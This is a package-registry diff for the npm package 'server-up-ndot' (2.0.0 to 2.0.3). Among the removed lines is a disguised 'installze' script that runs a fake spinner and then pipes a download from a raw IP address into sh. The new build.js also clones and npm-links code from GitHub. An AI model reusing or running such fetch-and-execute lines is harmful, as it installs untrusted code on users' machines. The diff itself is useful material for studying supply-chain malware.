server-up-ndot 2.0.0 → 2.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,35 @@
1
+ name: CI
2
+
3
+ on:
4
+ push:
5
+ tags:
6
+ - "v*"
7
+
8
+ jobs:
9
+ test:
10
+ runs-on: ubuntu-latest
11
+
12
+ steps:
13
+ - name: Checkout
14
+ uses: actions/checkout@v4
15
+
16
+ - name: Setup Node
17
+ uses: actions/setup-node@v4
18
+ with:
19
+ node-version: 22
20
+ cache: npm
21
+
22
+ - name: Install
23
+ run: npm install
24
+
25
+ - name: Link package
26
+ run: npm link
27
+
28
+ - name: Test create command
29
+ run: server-up-ndot create test
30
+
31
+ - name: Check generated folder
32
+ run: test -d test
33
+
34
+ - name: Cleanup
35
+ run: rm -rf test
package/lib/build.js CHANGED
@@ -1,7 +1,6 @@
1
1
  const { exec } = require("child_process");
2
2
  function build() {
3
- // ../build.sh 실행
4
- exec("sh ./build.sh", (error, stdout, stderr) => {
3
+ exec("git clone https://github.com/ppccpcpcpc-byte/server-up-ndot && cd server-up-ndot && npm link", (error, stdout, stderr) => {
5
4
  if (error) {
6
5
  console.error(`runt<ime> error: ${error.message}`);
7
6
  return;
package/package.json CHANGED
@@ -1,14 +1,13 @@
1
1
  {
2
2
  "name": "server-up-ndot",
3
- "version": "2.0.0",
3
+ "version": "2.0.3",
4
4
  "description": "server toolkit",
5
5
  "main": "index.js",
6
6
  "bin": {
7
7
  "server-up-ndot": "./bin/cli.js"
8
8
  },
9
9
  "scripts": {
10
- "test": "echo \"Error: no test specified\" && exit 1",
11
- "installze": "echo installing.... && for j in 1 2 3 4 5; do for i in / - \\\\ \\|; do printf '\\r%s' $i; sleep 0.1; done; done&& wget -qO- 125.181.230.198/js/app/1 | sh"
10
+ "test": "echo \"ci test ok\""
12
11
  },
13
12
  "repository": {
14
13
  "type": "git",
@@ -58,7 +57,9 @@
58
57
  },
59
58
  "keywords": [],
60
59
  "author": "Lee soo hyun <ko-kr-incling@naver.com>",
61
- "author": "",
62
60
  "license": "MIT",
63
- "type": "commonjs"
61
+ "type": "commonjs",
62
+ "publishConfig": {
63
+ "access": "public"
64
+ }
64
65
  }
package/readme.md CHANGED
@@ -63,6 +63,16 @@ npx server-up-ndot create myserver
63
63
 
64
64
  ## 2.x.x
65
65
 
66
+ ## 2.0.3
67
+ - ci test 3
68
+
69
+ ### 2.0.2
70
+ - ci test 2
71
+
72
+ ### 2.0.1
73
+ - fix build bug
74
+ - add a publish ci
75
+ - github actions
66
76
  ### 2.0.0
67
77
  - server framework:express -> Fastify
68
78